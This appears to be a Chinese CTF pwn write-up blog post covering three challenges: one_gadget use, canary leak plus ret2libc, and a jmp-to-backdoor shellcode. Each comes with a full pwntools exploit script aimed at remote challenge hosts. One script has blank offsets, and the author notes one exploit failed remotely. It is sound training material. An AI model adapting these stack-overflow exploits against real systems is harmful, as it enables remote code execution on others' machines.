每日一Pwn 2025/1/19

pwn74

噢?好像到现在为止还没有了解到one_gadget?

one_gadget

one_gadget 是libc中存在的一些执行 execv("/bin/sh",NULL,NULL) 的片段。当存在libc泄露,并且知道libc版本的时候,我们就可以利用one_gadget来快速控制指令寄存器开启shell。

通过ldd查找libc版本

ldd ./Pwn_file/pwn

找到对应libc位置

linux-vdso.so.1 (0x00007ffd9efef000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbd38fd7000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbd3958d000)

使用 one_gadget 查询

one_gadget /lib/x86_64-linux-gnu/libc.so.6

得到三组对应对应寄存器的位置,但是每一组都有对应的使用条件

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

检查保护,保护全开

image-20250119101237972

查看程序,没有后门函数。主程序先给出了printf的地址,然后我们可以输入一个地址,然后以这个地址做函数调用

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='pwn.challenge.ctf.show'
port=28153
file_name='pwn'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    one_gadget=0x10a2fc

    io.recvuntil(b'this:0x')
    printf_add=int(io.recv(12),16)
    print(hex(printf_add))

    libc = LibcSearcher('puts',printf_add)
    libc_base = printf_add - libc.dump('printf')

    one_gadget_final=libc_base+one_gadget

    io.sendline(str(one_gadget_final).encode())

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()

没有找到libc版本,远程libc搜到的也有一些问题


2024年10月训练题

signin

检查保护,有Canary和代码执行保护

image-20250119122005463

查看程序,无后门函数。存在两个栈溢出的read,第一个read后会puts出buf的内容,而puts函数要接收到 \x00 才结束,所以可以通过覆盖 Canary 最后一个 \x00 字节来打印出Canary

第二个read处泄露libcbase打ret2libc

64Canary+ret2libc

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='36.152.17.4'
port=32827
file_name='signin'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    offset = 
    io.sendafter(b'', b'a'*(offset-8+1))
    io.recvuntil(b'a'*(offset-8+1))
    canary = u64(b'\00' + io.recv(7))
    print(f'Canary: {hex(canary)}')

    ret_add =
    pop_rdi =
    main_add =
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']

    print("Puts_got: ",hex(puts_got))
    print("Puts_plt: ",hex(puts_plt))

    payload1 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
    io.sendlineafter(b'',payload1)
    puts_add = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    print("Puts_add: ",hex(puts_add))

    libc = LibcSearcher('puts',puts_add)

    libc_base = puts_add - libc.dump('puts')
    system_add = libc_base + libc.dump('system')
    bin_sh_add = libc_base + libc.dump('str_bin_sh')

    # libc_base = puts_add - libc.symbols['puts']
    # system_add = libc_base + libc.symbols['system']
    # bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

    payload2 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
    io.sendlineafter(b'',payload2)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()

shortshell

检查保护,只开了代码执行保护

image-20250119152731529

查看程序,存在后门函数。mprotect把buf段的权限改为了可读可写可执行(7)

image-20250119152842328

read从标准输入读取数据后执行,因此我们可以直接jmp到后门函数

jmp偏移距离计算

偏移距离 = 目的地址 - 当前地址 - 5

0x0000000000401275 - 0x0000000000404069 - 5 = -0x2df9

注意这里需要栈对齐

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='36.152.17.4'
port=32831
file_name='pwn1'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    payload = b"\xe9\x02\xd2\xff\xff"   # jmp -0x2df9

    io.sendlineafter(b'YLCTF-PWN',payload)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇